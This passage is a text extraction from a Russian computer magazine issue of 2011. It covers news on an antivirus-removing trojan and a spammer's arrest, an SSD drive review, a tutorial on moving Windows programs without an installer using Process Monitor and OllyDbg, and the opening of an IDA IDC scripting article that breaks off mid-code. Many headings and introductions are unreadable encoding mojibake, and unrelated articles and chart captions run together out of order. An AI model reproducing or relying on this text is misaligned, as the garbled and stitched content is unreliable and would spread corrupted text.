вовведение может не понравиться, в Facebook, которую уже и так достали обвинениями в нарушении частной 
жизни, предусмотрели возможность запретить распознавание своего лица. Для этого достаточно будет поста-
вить соответствующую галочку в настройках приватности.

FACEBOOK Ó×ÈÒÑß 
ÓÇÍÀÂÀÒÜ ÞÇÅÐÎÂ Â ËÈÖÎ

ÒÐÎßÍÅÖ Ñ ÔÓÍÊÖÈÅÉ ÓÄÀËÅÍÈß ÀÍÒÈÂÈÐÓÑÎÂ

Специалисты антивирусных компаний предуп-
реждают о новом трое, который как в старые 
добрые времена расчищает себе «поле деятель-
ности», удаляя с пользовательских компьютеров 

антивирусное ПО. Малварь распространяется в 
виде исполняемого файла, подцепить который 
можно, если искать в Сети личные данные 
пользователей «ВКонтакте». Вирус усыпляет 
бдительность юзера, открывая окно Проводни-
ка, якобы с базой данных «ВКонтакте», а сам тем 
временем устанавливается в систему и ищет 
антивирусы. По завершении поиска трой уводит 
систему в ребут, загружает Windows в безопас-
ном режиме и из-под него аккуратно удаляет 
многие популярные антивирусы (большинство 
вендоров уже поправили уязвимости, которые 
использовала эта малварь). В случае удачного 

удаления «конкурента» вирус снова перезаг-
ружает компьютер, и в игру вступает винлокер 
Trojan.Winlock.2477, требующий 295 рублей за 
разблокировку системы. Что особенно инте-
ресно, если провести разблокировку и якобы 
освободить систему, хитрый трой сам примется 
эмулировать работу убитого антивируса! Для 
этого используется уже Trojan.Fakealert.19448, 
который прикидывается именно тем антиви-
русом, который ранее стоял на компьютере 
пользователя. Чтобы юзер не заметил подмены, 
продумано все: от привычного значка в трее до 
имитации интерфейса почившего антивиря.

Google îòêðûë ìàãàçèí ïî ïðîäàæå ýëåêòðîííûõ êíèã. 
Áîëåå 3 ìèëëèîíîâ ïëàòíûõ è áåñïëàòíûõ êíèæåê óæå äîñòóïíû ïî 

àäðåñó books.google.com/ebooks.

В начале ноября 2010 года в США был арестован 23-летний гражданин Российс-
кой Федерации Олег Николаенко. Согласно данным ФБР, этот парень настоящий 
король спамеров — он умудрялся рассылать до трети всего мирового спама, а это 
порядка 10 млрд писем в день! Таких запредельных показателей ему удалось до-
биться за счет использования ботнета, известного под именем Mega-D, в который 
входило как минимум полмиллиона компьютеров. Зараженные машины ежедневно 
рассылали тонны нежелательной корреспонденции, предлагая купить по дешевке 
якобы фирменные часы, липовые справки и рецепты, «левые» лекарственные 
средства и многое другое. На след спам-рекордсмена правоохранительные органы 
вышли через его «коллег». Еще в 2009 году властям США удалось поймать двух 
спамеров: американца Джоди Смита и австралийца Ленса Аткинсона. «Федералы» 
также сумели отследить денежные переводы в размере $459 000, сделанные Ат-
кинсоном из Новой Зеландии. Вскоре, в ходе допроса, спамеры и сами сознались, 
что головной офис, с которым они работали, располагается в Москве и управляется 
одним человеком, скрывающимся под ником Docent. Агенты ФБР даже смогли 
получить письма с двух аккаунтов на Gmail, который использовал Николаенко. 
Дальнейшее было делом техники — парня арестовали в Лас-Вегасе, когда он 
прилетел в США на автомобильное шоу. Сейчас спамер находится в американской 
тюрьме, так как в освобождении под залог ему было отказано. Николаенко грозит до 
трех лет тюрьмы или штраф в размере $250 000.

×ÅËÎÂÅÊ — ÑÏÀÌÅÐÑÊÀß ÈÌÏÅÐÈß



FERRUM
 Сергей  Никитин

Технологии
Появились SSD-накопители не вчера и не позавчера, а аж в 1978 году, 
с легкой руки компании StorageTrek. В 1995 году другая компания, M-
Systems, показала миру SSD-девайс на флеш-памяти. Дело двигалось 
и, в 2008 году уже третий игрок, Mtron Storage Technology, доказал, что 
SSD-устройству покорны скорости 260 и 240 Мб/с для чтения и записи 
соответственно. Чем же SSD отличается от HDD? Различаются они при-
нципиально. Можно сказать, на генном уровне. В SSD нет движущихся 
механических частей, по сути это — набор микросхем, который не шумит 
и не  так сильно греется. Кроме того, SSD существенно быстрее и не 
зависят от фрагментарности. На данный момент главный их недостаток 
— очень высокая цена. А кроме того, счастливые владельцы твердотель-
ных накопителей заметили, что когда их диски забиты, то скорость резко 
падает. Дело тут в особенностях архитектуры SSD-устройств, которая 
состоит из многоуровневых ячеек, каждая из которых может хранить два 
бита информации. Из шестнадцати тысяч таких ячеек состоит страни-
ца, 128 страниц являются блоком в 512 Кб, а 1024 блока уже составляют 
массив размером 512 Мб. А самое главное заключается в том, что при ми-

нимальном размере записываемых данных в 4 Кб, стереть можно только 
512 Кб. В итоге получается некий аналог фрагментации в HDD. Таким 
образом, при заполнении накопителя более чем на 75% освобождать 
новые блоки становится сложнее, и скорость работы падает. Для реше-
ния вопроса была придумана технология TRIM, которая помогает диску 
сразу обнулять ячейки и освобождать блоки для записи. Эта функция 
SSD постоянно совершенствуется, и не так давно компания SandForce 
представила новую архитектуру DuraClass. Максимальный объем такого 
девайса составит полтерабайта, интерфейсом выбран SATA III. Такие 
устройства будут отличаться повышенными скоростью, надежностью и 
долговечностью. 

Методика тестирования
Для того, чтобы понять, что каждый из накопителей представляет собой 
в плане производительности, мы использовали тестовую утилиту Crystal 
DiskMark 2.2 и дисковый тест из пакета PCMark Vantage. Все тесты про-
водились в двух режимах: на пустом диске и заполненном на 80%, дабы 
приблизить SSD к реальным условиям работы.

ÁÛÑÒÐÛÅ ÄÈÑÊÈ
 Íåñìîòðÿ íà âñå âîçðàñòàþùåå êîëè÷åñòâî ãåðö, áàéò, øåéäåðîâ 

è êîíâåéåðîâ âî âñåìè íàìè ëþáèìûõ æåëåçêàõ, íè÷åãî ïðèíöèïèàëüíî 
íîâîãî â íèõ äàâíî íå ïîÿâëÿëîñü. ×åãî íåëüçÿ ñêàçàòü îá îáëàñòè 
õðàíåíèÿ äàííûõ. SSD-íàêîïèòåëè — ýòî íàñòîÿùèé ïðîðûâ: 
óñòðîéñòâà, ïîñòðîåííûå íà â êîðíå îòëè÷íûõ îò HDD òåõíîëîãèÿõ.

ÒÅÑÒÈÐÎÂÀÍÈÅ SSD-ÍÀÊÎÏÈÒÅËÅÉ
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ADATA S596 
CORSAIR NOVA V128
INTEL X25-M G2
INTEL X25-M G2 X2 RAID 0
KINGSTON SSDNOW V+ 128
KINGSTON SSDNOW V+ 512

ÑÏÈÑÎÊ 
ÒÅÑÒÈÐÓÅÌÎÃÎ 
ÎÁÎÐÓÄÎÂÀÍÈß

ÏÐÎÖÅÑÑÎÐ: AMD PHENOM II X6 1090T (3,2 ÃÃÖ)
ÑÈÑÒÅÌÍÀß ÏËÀÒÀ: ASUS M4A89GTD PRO
ÏÀÌßÒÜ: KINGSTON DDR3-1333 KVR1333D3N9 4 ÃÁ
ÂÈÄÅÎÏËÀÒÀ: SAPPHIRE RADEON HD 5870 1ÃÁ
ÁÏ: ATX ENHANCE 600 ÂÒ
ÎÏÅÐÀÖÈÎÍÍÀß ÑÈÑÒÅÌÀ: WINDOWS 7 HOME PREMIUM

ÒÅÑÒÎÂÛÉ ÑÒÅÍÄ:

 013 

От всех остальных участников тестирования ADATA S596 отличает-
ся наличием USB-порта. С одной стороны, это плюс, повышающий 
универсальность устройства: его можно использовать не только как 
внутренний, постоянный, но и как внешний накопитель. С другой 
стороны, делать это можно только в случае крайней необходимости, 
так как потенциальная скорость передачи данных будет ограничена 
возможностями интерфейса USB. Кроме дополнительного разъема, диск 
может похвастаться поддержкой команд TRIM. Что касается скоростных 
характеристик, то ADATA S596 (несмотря на то, что не выбился в лидеры) 
во всех тестах показал результаты выше среднего. Учитывая его цену, 
можно сказать, что соотношение цены и качества у него очень высокое.

Никаких «персональных» недостатков диска мы не нашли, его минус это 
характерно высокая сегодня для всех SSD-накопителей цена.

Компания Corsair известна своими быстрыми мобильными накопителя-
ми, поэтому к ее SSD-девайсу мы отнеслись весьма внимательно. И, по 
большому счету, Corsair Nova V128 оправдал наши ожидания. Эта модель 
построена на базе контроллера Indilinx Barefoot. В наших тестах данный 
диск показал высокие результаты, особенно отличившись в PCMark 
Vantage и при испытании на скорость линейного чтения. Стоит отметить, 
что команды TRIM не забыты производителем, и Corsair Nova V128 их 
поддерживает. А компания-вендор, поддерживая свое реноме, упакова-
ла в коробку не только устройство и инструкцию, а еще и переходник для 
его установки в разъем 3.5, что весьма дальновидно, так как пока не все 
корпуса имеют слоты для SSD-накопителей.

В таких тестах, как скорость записи блоков размером 4 и 512 Кб на запол-
ненный диск, быстродействие упало весьма существенно, в связи с чем 
мы сделали вывод о некоторой завышенности цены на данный диск.

XÀÊÅÐ  02  /145/  2011

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
СКОРОСТЬ ЧТЕНИЯ: до 270 Мб/с
СКОРОСТЬ ЗАПИСИ: до 195 Мб/с
ПОРТЫ: SATA II
КЭШ-ПАМЯТЬ: 64 Мб
ОБЪЕМ: 128 Гб

Corsair Nova
V128 

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
СКОРОСТЬ ЧТЕНИЯ: до 250 Мб/с
СКОРОСТЬ ЗАПИСИ: до 180 Мб/с
ПОРТЫ: SATA II, USB 2.0
КЭШ-ПАМЯТЬ: 128 Мб
ОБЪЕМ: 128 Гб

ADATA
S596

12500 ðóá.10000 ðóá.
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ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
СКОРОСТЬ ЧТЕНИЯ: до 500 Мб/с
СКОРОСТЬ ЗАПИСИ: до 140 Мб/с
ПОРТ: SATA II x2
КЭШ-ПАМЯТЬ: 32 Мб x2
ОБЪЕМ: 320 Гб

Intel
X25-M G2 x2 RAID 0 

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
СКОРОСТЬ ЧТЕНИЯ: до 250 Мб/с
СКОРОСТЬ ЗАПИСИ: до 70 Мб/с
ПОРТЫ: SATA II
КЭШ-ПАМЯТЬ: 32 Мб
ОБЪЕМ: 160 Гб

Компания Intel отличилась в нашем тесте, представив Intel X25-M G2 
— единственный в обзоре диск емкостью 160 Гб. До установки в твой 
системный блок он находится в объемной коробке, соседствуя с наклей-
кой, переходником для установки устройства в 3.5-разъем и диском, 
на котором находится SSD Toolbox — специальная фирменная утилита, 
предназначенная для оптимизации работы диска. Кстати, не только 
упаковка, но и корпус диска вызывает уважение: цельнометаллический, 
с прокладкой по периметру. Говоря о скорости работы, нужно отметить 
хорошие результаты Intel X25-M G2, продемонстрированные при дейс-
твиях с малыми объемами информации.

Что касается скорости линейной записи, то тут все не очень хорошо. 
Точнее, совсем плохо — по этому параметру Intel X25-M G2 находится на 
последнем месте в тесте.

Intel
X25-M G2 

14500 ðóá.

Несмотря на всю свою инновационность и непохожесть на HDD, SSD-
накопители это, прежде всего, хранилища информации, поэтому их точно 
так же, как и обычные жесткие диски, можно объединить в RAID-массив, 
получив все причитающиеся от такого действия плюшки. Объединив в 
RAID-массив уровня 0 два диска Intel X25-M G2, мы получили почти двук-
ратный рост скорости линейного чтения и записи. Также существенно 
выросла скорость при работе с 512 Кб блоками.

Минусы у решения тоже есть. Во-первых, за стоимость системного блока 
ты получишь всего 320 Гб объема, что по сегодняшним меркам крайне 
мало. Не хватит ни на что. В конфигурации RAID 0 нет и речи о надежнос-
ти, а для того, чтобы смотреть фильмы и слушать музыку, такая скорость 
не нужна. Так что практическая ценность данной конфигурации весьма 
сомнительна, разве что в синтетических тестах баллы будут высокие. 
А на деле все быстро, конечно, но дорого и не очень надежно.

29000 ðóá.
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ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
СКОРОСТЬ ЧТЕНИЯ: до 230 Мб/с
СКОРОСТЬ ЗАПИСИ: до 180 Мб/с
ПОРТ: SATA II
КЭШ-ПАМЯТЬ: 128 Мб
ОБЪЕМ: 128 Гб

Всегда получаешь удовольствие, когда, открывая коробку с устройством, 
видишь там не только сам девайс, но и всякие приятные дополнения к 
нему. Понятно, что ты за них заплатил, они не бесплатны, но все равно. 
Вот и Kingston ssdNOW V+ относится именно к таким устройствам. В 
комплект поставки входит SATA-кабель и переходник с molex-SATA, а 
также рек, внутрь которого ты установишь этот накопитель и получишь 
внешний диск с интерфейсом USB. Работает девайс весьма шустро, 
скорости линейного чтения и записи у него весьма неплохие. Также 
порадовала более высокая, чем у многих участников, скорость работы с 
малыми блоками.

К сожалению, каким бы ни был хорошим комплект поставки, все в него 
включить невозможно, поэтому и в этой коробке отсутствует переходник 
для установки устройства в 3.5-отсек. В тестах из комплекта PCMark 
Vantage были сильные проседания.

Kingston
ssdNOW V+  

11000 ðóá. 53000 ðóá.

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
СКОРОСТЬ ЧТЕНИЯ: до 230 Мб/с
СКОРОСТЬ ЗАПИСИ: до 180 Мб/с
ПОРТ: SATA II
КЭШ-ПАМЯТЬ: 128 Мб
ОБЪЕМ: 512 Гб

ÂÍÅ ÊÎÍÊÓÐÑÀ

Kingston
ssdNOW V+ 512  

Как ты уже, наверное, понял, одной из основных проблем большинства 
современных SSD-накопителей является их относительно малый объем. 
Это устройство от Kingston — наглядное подтверждение того, что увели-
чение объема никоим образом не является технологической проблемой. 
Полтерабайта — это нормальный размер, на который можно записать 
кучу всего интересного, нужного и полезного. Кстати, все диски серии 
Kingston ssdNOW V+ можно приобрести в двух комплектациях: одна 
описана выше, а вторая включает в себя только сам диск. Накопитель 
поддерживает набор команд TRIM, а его скоростные показатели практи-
чески не отличаются от аналогичных у Kingston ssdNOW V+ 128 Гб.

Из минусов разве что скорость работы с блоками по 4 Кб у него пониже. 
Само собой разумеется, что главный недостаток данного накопителя — 
это его непомерная цена, за которую можно купить полноценный ПК со 
всеми необходимыми девайсами. Да и три SSD-накопителя по 128 Гб от 
Kingston обойдутся тебе дешевле.

Выводы
Быстрые SSD-накопители нам очень понравились — надеемся, 
что скоро они станут доступнее. Сегодня награду «Выбор редак-

ции» получил Intel X25-M G2, титул «Лучшая покупка» достался 
Kingston ssdNOW V+. А для богатых эстетов мы рекомендуем 
повнимательнее присмотреться к устройствам под грифом «Вне 
конкурса». z
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PCMark, Windows Defender, Мб/c

Накопители Kingston немного впереди всех
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Kingston ssdNOW  V+ 512 GB

Kingston ssdNOW  V+ 128 GB
Intel X25-M G2 160 Gb x2 RAID 0
Intel X25-M G2 160 Gb
Corsair V128 128 Gb
ADATA S596 128 Gb

LoadLoad
80%80%
CleanClean

PCMark, Windows Media Center, Мб/с

В данном тесте хорошо показал себя диск от Corsair
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CrystalDiskMark, Sequential read, Мб/c  

Все почти равны
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CrystalDiskMark, Random read 4KB, Мб/c CrystalDiskMark, Random write 4KB, Мб/c

Накопитель ADATA S592 рывком выходит в лидеры Intel и RAID — братья навек
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CrystalDiskMark, Sequential write, Мб/с 

Хорошо видны достоинства и недостатки каждого устройства
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PCMark, Application loading, Мб/с

Наш массив показывает фантастический рост скоростных 
показателей
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PCMark, Windows Vista startup, Мб/с

Видимо, скоро Windows у всех будет грузиться быстрее
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PC_ZONE

File: X.exe (2 of 2)

Speed: 363 KB/s

Status: Receiving...

Elapsed Time: 0:00:19

Remaining Time: 0:00:51

Current File: 4.388 KB of 22.959 KB (19%)

6.913 KB of 25.484 KB (27%)Overall Progress:

 018

PC_ZONE

В случае с редким или самописным софтом такая проблема случается 
сплошь и рядом. Практически каждая отдельно взятая контора может 
похвастаться, что какой-то местный кудесник-программист наколотил 
две-три тысячи строк кода, создавая очередную программу отчетности 
или ERP-систему. И все идет хорошо, пока этот компьютерный гуру 
не потеряется. Стандартного инсталлятора нет, простое копирование 
папки с программой не помогает, а программу срочно нужно устано-
вить еще на одну машину. Кажется, пора начинать рвать на себе воло-
сы? Но это не вариант для компьютерной нечисти! :)

Что переносить?
Итак, самый главный вопрос: что переносить кроме папки с програм-
мой? Условно все необходимое можно разбить на три пункта:
1.  Файлы, к которым обращается программа.
2. Ветки реестра, к которым обращается программа.
3. Среда выполнения.
Если с пониманием первых двух пунктов проблем нет, то насчет тре-
тьего стоит сделать уточнение. Под средой выполнения здесь пони-
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  ×àñòî âîçíèêàþò ñèòóàöèè, êîãäà ïðîãðàììà, óñòàíîâëåííàÿ íà 
îäíîì êîìïüþòåðå, äîëæíà íåïðåìåííî îêàçàòüñÿ íà äðóãîé ìàøèíå. 
Ïðè÷åì èíñòàëëÿòîðà íåò, ïðîñòîãî êîïèðîâàíèÿ ôàéëîâ íå õâàòàåò, 
à ÷åëîâåê, êîòîðûé ñòàâèë ïðîãðàììó, êóäà-òî ïðîïàë âìåñòå ñ 
äèñòðèáóòèâîì.

  Николай «M0r1arty» Нежинский moriarty@front.ru, Леонид «graum» Шигаревский l.shigarevskiy@gmail.com

Ïåðåíîñèì ïðèëîæåíèÿ Windows 
áåç äèñòðèáóòèâà

ÅÑËÈ ÍÅÒ 
ÈÍÑÒÀËËßÒÎÐÀ…

На диске ты сможешь 
найти необходимые 
для переноса про-
граммы, инструменты 
и вспомогательные 
сценарии

dvd

DVD



маются базы данных, драйвера устройств (псевдоустройств), имено-
ванные каналы (Named Pipes), мэйлслоты, COM/ActiveX компоненты 
и так далее. То есть, все, с чем работает программа (и что предостав-
лено сторонним софтом, а не операционной системой) через стан-
дартные интерфейсы Windows — будь то сеть, IPC или тому подобное. 
Среда является самым проблемным компонентом при переносе, и 
именно из-за среды приходится заморачиваться, чтобы ОС на обеих 
машинах совпадали.

Какие файлы и ветки реестра 
переносить?
Господа, давайте дружно поднимем бокалы с кофе, выпьем и почтим 
память безвременно ушедших утилит-мониторов NT Filemon и NT 
Regmon, которые отслеживали обращения любого процесса к файлам 
и ключам реестра соответственно. Злой гений Марка Руссиновича 
безжалостно аннигилировал их… а потом воссоздал из пепла в 
одном мощном и полезном инструменте. Встречайте, Process Monitor. 
Именно эта тулза будет основным оружием переноса и поможет нам 
разобраться, какие файлы использует программа и к каким ключам в 
реестре обращается. Для этого нам понадобятся две функции: Show 
Registry Activity и Show File System Activity.
Итак, открывай ProcMon, запускай переносимую софтину и дождись, 
пока она полностью загрузится. Затем ступай в ProcMon, отключи 
логирование, найди нужную программу (по имени исполняемого 
файла), жми правой кнопкой по записи в столбце Process Name и 
выбирай Include ‘SuperProg.exe’, где SuperProg.exe — это исходное 
приложение для переноса. Ты увидишь, что Process Monitor отсеял 
все события, связанные с другими процессами. Можно было бы ана-
лизировать все в уме, отслеживая события, которые появляются в 
Process Monitor, но мы поступим иначе. Для удобства сохраним лог 
всех обращений в файл. Для этого нажимай «File -> Save…». В окне 
сохранения опцию «Events to save» выставляй в «Events displayed 
using current filter»(чекбокс «Also include profiling events» должен 
быть включен), а «Format» выбирай «Comma-Separated Values 
(CSV)». Сохрани куда-нибудь Logfile.csv и можешь заглянуть внутрь. 
Испугался? :) 
Разобраться в этой помойке без помощи парсера сложно. Чтобы упро-
стить задачу, я, когда сам занимался подобным переносом, набросал 
два Perl-скрипта (ищи их на диске). Положи эти скрипты в папку, где 
был сохранен Logfile.csv (или сразу сохраняй лог в папку к скриптам). 
Теперь запускай parse.pl. Этот скрипт отпарсит log-файл и создаст еще 
два лога: file.log будет содержать уникальные обращения к файлам и 
папкам, reg.log —уникальные обращения к веткам реестра.

Отделяем мух от котлет
Не торопись запускать второй скрипт. Сначала рекомендую отсеять 
явно левые записи из reg.log. Такие ветки реестра, как HKLM/Software 
или HKCR/Interface являются чисто системными, поэтому на новую 

машину их импортировать не имеет смысла (в худшем случае можно 
испортить систему). Удаляем. Сильно тут не лютуй, а то выкинешь 
что-то, что имеет отношение к программе, которую переносим. После 
этого можно с чистым сердцем запускать export.pl. Скрипт пошуршит и 
создаст в папке кучу REG-файлов (их можно импортировать на целевой 
системе) + папку subdir. Далее необходимо проанализировать содержа-
ние Reg-файлов, напрячь голову и отсортировать файлы на три группы:
• Нужен программе;
• Не нужен программе;
• На дополнительное изучение.
Сортируя файлы, не забывай редактировать абсолютные (полные) пути 
до компонентов (DLL-библиотек, файлов настроек и прочего), если 
найдешь. Так мы получим REG-файлы, которые необходимо импорти-
ровать на целевой машине. 
Теперь по поводу файлов. В папке subdir скрипт воссоздал дерево 
обращений к файлам таким образом:

subdir

   C (áóêâà äèñêà)

      Program Files

         …è òàê äàëåå, äî ôàéëîâ âêëþ÷èòåëüíî

Непосредственный перенос
На новой машине скопируй папку с программой в C:\Program Files 
(к примеру). Импортируй ключи реестра, которые ты определил в 
группу «Нужен программе». Из папки subdir восстанови структуру 
файлов и каталогов, отсутствующих в системе, на которую выпол-
няется перенос. Надеюсь, ты понимаешь, что системные файлы и 
библиотеки заменять не надо. Поэтому при переносе файлов нужно 
быть очень осторожным. Обязательно обращай внимание, где рас-
полагается перемещаемый файл — проведи аналогию с перемен-
ными окружения (изучи вывод команды «set» в консоли). Просмотри 
содержимое каждого файла, который, как тебе кажется, не является 
системным. Поправь значения опций, в которых задается полный 
путь до каких-либо компонентов, если найдешь файл(ы) настроек. 
Если о защите системных библиотек Windows хоть как-то позабо-
тится SFC (System File Checker), то в случае реестра такой помощи 
ждать не приходится. Поэтому при импортировании веток реестра с 
рабочей машины нужно быть вдвойне осторожным. Причем, как и в 
случае с файлами настроек, придется корректировать пути в строко-
вых параметрах.
Зарегистрируй COM-компоненты — их легко определить по наличию 
нескольких экспортируемых функций (DllRegisterServer, например). 
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При запуске .pl файла перлу передается флаг «-C» 
(работа с UNICODE'ом)

Плагин «FileInfo» добавил вкладку «Activex / OCX». 
Обычно EXE/DLL файлы такой чести не удостаиваются

Могучий Process Monitor
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Тем, кто забыл: регистрация производится командой regsvr32 
component.dll, где component.dll является COM-сервером (кстати, 
COM-сервер может находиться и внутри exe-файла). Ценителям 
Total Commander будет приятно, что для их любимца есть lister-
плагин, который на раз определяет COM/ActiveX. 
Если программа использует какие-то специфические технологии, 
необходима дополнительная настройка. Скажем, в случае с исполь-
зованием BDE(Borland Database Engine) необходимо внести соответ-
ствующие изменения у DataSource’ов, которые использует программа. 
После этого остается только проинсталлировать и настроить среду, 
которая нужна нашему приложению (если нужна). Стандартные ком-
поненты наподобие сервера БД ты установишь сам. Перенос среды 
должен быть легче всего, поскольку для серверов БД есть нормаль-
ные инсталляторы. Установить драйвер можно специальной утилитой, 
а зарегистрировать COM-сервер еще проще.

Перенос драйверов
А что делать, если программа работает с драйвером, единственный 
установщик которого потерян вместе с install.exe? Да и как вообще 
определить, что программа работает с драйвером? Какой-либо спе-
циальной тулзы я не нашел, поэтому воспользуемся OllyDbg. Чтобы 
работать через DeviceIoControl (через эту системную функцию драй-
веру устройств отправляются разные команды), сначала необходимо 
открыть созданное устройство через символическую ссылку вызовами 
CreateFileA/CreateFileW. От этого и будем плясать.
Загрузи программу в отладчик. Прямо на точке входа в окне дизас-
семблера жми <Ctrl+G>, вводи CreateFileA и нажимай <OK>. Мы 
попали в начало функции открытия файла. На этом месте нажимай 
<Shift+F4> или в меню по правой кнопке «Breakpoint  Conditional 
log». В открывшемся окне в поле «Expression» вписывай DWORD 
PTR DS:[ESP+4] — по этому адресу лежит указатель на открываемый 
файл. В комобоксе «Decode value of expression as» выбирай «Pointer 
to ASCII string» (для юникод-версии соответственно — «Pointer to 
UNICODE string»). Радио-кнопку <Log value of expression> выставляй 
в «Always». Остальные опции оставь по умолчанию. Нажимай <OK> и 
запускай программу.
Очень вероятно, что придется имитировать ее реальное исполь-
зование, поскольку мы не знаем, в какой момент может произой-
ти обращение к драйверу. Открывай в OllyDbg лог (комбинация 
клавиш <Ctrl+L>) и ищи подсвеченные строки, начинающиеся 
с COND. В кавычках будет указан файл, и если он начинается с 
\\.\ — считай, что это наш драйвер. С помощью утилиты WinObj 
(кстати, написанной опять же Руссиновичем) выясни настоящее 
имя устройства. Оно должно выглядеть как Device\DevName. 
Посредством той же WinObj убедись, что на другом компьютере 
этого устройства нет.
Настал черед поиска самого файла драйвера. Большинство драйве-
ров располагаются в %SystemRoot%\System32\Drivers. Перейди в эту 
папку и ищи UNICODE-строку имени устройства (Device\DevName). 
Если файла с такой строкой нет, то открывай «Сервис Менеджер». 
Там ищи все драйвера, которые располагаются по нестандартному 

пути — искомая строка должна быть в одном из них. Этот же «Сервис 
Менеджер» поможет тебе перенести драйвер на другой компьютер 
(сделай скриншоты настроек, пропиши зависимости и так далее). 
Утилита хорошая, но, увы, не совсем корректно инсталлирует драй-
вера. Поэтому, после того, как установишь свой драйвер, выполни 
следующие действия: найди в редакторе реестра ветку \HKEY_LOCAL_
MACHINE\System\CurrentControlSet\Services\выбранное_имя_драй-
вера и удали ключи «Group» и «ObjectName» в этом разделе. Если 
ключи не удалить, то менеджер при запуске драйвера будет выдавать 
ошибку, сообщая, что указан некорректный путь, хотя путь тут как бы и 
не причем.

Подводные камни
Когда ты считаешь, что все перенес — запускай программу. С вероят-
ностью 70-75% она запустится. Что-то пошло не так? Вполне ожидае-
мо. Мы тут не яичницу жарим. В общем случае придется применить 
технологию багхантинга. Брать в зубы дизассемблер, отладчик и 
ловить исключения (или ExitProcess, если программа вываливается 
безмолвно). Сложно дать какие-то рекомендации, но все же попро-
буем. Просмотри внимательно еще раз REG-файлы. Возможно, ты не 
заметил что-то, что позволяло программе жить и процветать на преж-
ней машине. Попробуй определить несистемные библиотеки из subdir 
и скопировать их с заменой. Если сообщение, с которым вываливается 
программа, более информативно, чем «Access violation», попробуй 
поискать в интернете текст ошибки (это может быть связано со средой 
исполнения). Но, в любом случае, твоим главным оружием здесь будет 
незаменимая связка: дизассемблер + отладчик + мозг и прямые руки. 
Если есть возможность, то обязательно проводи все эксперименты 
только на виртуальной машине — так ты будешь уверен, что система 
не загажена и не повредишь основную операционку. Прежде чем 
мужественно рваться в бой, я тебе предлагаю попробовать свои силы 
на специально разработанной программе. Собственно, полезность 
от программы нулевая, но перенести ее просто так не получится. 
Bdetest.exe работает с BDE через алиас «testBDE», за каким-то чер-
том обращается к драйверу и просто не может функционировать без 
определенной информации в реестре и файловой системе. На диске 
ты сможешь найти все необходимое: результат работы скриптов, 
скрин BDE-алиаса, драйвер, базу и саму программу.

Заключение
Перенос программ без инсталлятора — нетривиальная задача. 
Необходимо обладать знаниями во многих сферах IT — администри-
ровании, программировании, дизассемблировании, отладке, базах 
данных. Но всегда помни: непереносимых программ не бывает! Ведь, 
как гласит манифест хакера, если компьютер совершает ошибку, то 
это ты напортачил. z
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Два абсолютно левых ключа — DELETE их!

Программа «Сервис Менеджер» позволяет легко уста-
новить драйвер

Perl и UNICODE

Чтобы при воссоздании дерева папок скрипт прописал милые 
сердцу символы национального алфавита, надо сообщить ему, что 
он будет иметь дело с UNICODE’ом. Просто измени запись в реестре 
так, как показано на рисунке.
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Как ни крути, IDA является дизассемблером №1 в мире и использу-
ется хакерами-реверсерами, вирусными аналитиками и много кем 
еще. Встроенные отладчик и декомпилятор, возможность удаленной 
отладки, удобный подход к анализу давно сделали этот пакет стандар-
том де-факто. Для расширения функционала IDA долгое время было 

два пути: подключаемые плагины (большое количество готовых 
к употреблению аддонов всегда доступно на www.openrce.org/

downloads/browse/IDA_Plugins), а также скрипты, написанные 
на собственном интерпретируемом языке IDC. На последних 

остановимся подробнее.

Основы IDC
С помощью IDC можно быстро разрабатывать сце-

нарии, позволяющие автоматизировать мно-
жество рутинных действий. Язык вобрал в 

себя основные синтаксические элементы 
традиционного C, поэтому прост для 

освоения. Полная документация 
идет вместе с IDA, но для стар-

та вполне достаточно уяс-
нить несколько основ-

ных моментов: 

• Для объявления переменной используется ключевое слово auto. В 
отличие от С переменные должны быть объявлены до первого использо-
вания, причем при объявлении переменную нельзя инициализировать 
значением.
• Допускается работа с тремя типами данных: целыми числами (integer), 
строками (string) и числами с плавающей точкой. 
• IDC не поддерживает C’шные массивы, указатели и сложные типы 
данных вроде структур и объединений.
• Поддерживает практически все операторы языка C. 
Исключения составляют сокращенные операторы присваи-
вания (+=, -=, *= и так далее), вместо них используется 
полная форма. 
• Крайне просто реализована работа со строками, 
никаких тебе функций strcpy(), strcat() и прочего. 
Чтобы скопировать или склеить строки, доста-
точно воспользоваться соответственно опе-
раторами присваивания и сложения. 
• Как и в С, все выражения завер-
шаются точкой с запятой, а 
блоки кода заключаются 
в фигурные скобки. 
Внутри этих блоков 
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  IDA — ýòî èíòåðàêòèâíûé äèçàññåìáëåð è îòëàä÷èê îäíîâðåìåííî. 
Íå òàê äàâíî â íåì ïîÿâèëñÿ åùå è êîìïèëÿòîð Hex-Ruby, ïîçâîëÿþùèé 
ïðåîáðàçîâûâàòü ìàøèííûé êîä â ÷èòàåìûé ëèñòèíã íà Ñ. Íî åñëè è 
ýòîãî îêàçûâàåòñÿ ìàëî, ïîðà áðàòü ñèòóàöèþ ïîä ñâîåé êîíòðîëü. 

  Антон «Ant» Жуков antitster@gmail.com

×òî ìîæåò äàòü âñòðîåííûé Python 
â äèçàññåìáëåðå IDA?

IDA + Python = ëþáîâü
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можно объявлять новые переменные, но делать это нужно в 
самом начале блока. 
• Для задания пользовательской функции используется 
ключевое слово static. IDC также поддерживает пользова-
тельские функции, выполненные в виде отдельных модулей 
(.idc-файлов). Входные параметры функции задаются через 
запятую, без указания типа.
• Все параметры передаются по значению, а не по ссылке 
(указатели в IDC не поддерживаются).
• В объявлении функции не присутствует никакой инфор-
мации о том, возвращает ли она какое-то значение, и если 
возвращает, то какого типа. Для того, чтобы функция воз-
вращала значение, используется старый добрый return. Что 
примечательно, функция может возвращать значения раз-
личных типов.
• Для автоматизации сложной задачи вместо небольшого 
скрипта целесообразно использовать отдельную программу. 
Минимальные требования — программа должна подключать 
директивой #include заголовочный файл idc.idc и иметь 
функцию main.

Первый сценарий
Чтобы подкрепить краткие теоретические знания практикой, 
попробуем теперь написать простую программу, которая 
будет перечислять все присутствующие в программе функ-
ции с указанием места, откуда они вызываются.

#include <idc.idc>

static main() {

   auto ea, func, ref;

   // ïîëó÷àåì òåêóùèé àäðåñ êóðñîðà

   ea = ScreenEA();

   // â öèêëå îò íà÷àëà (SegStart) äî 

   // êîíöà (SegEND) òåêóùåãî ñåãìåíòà

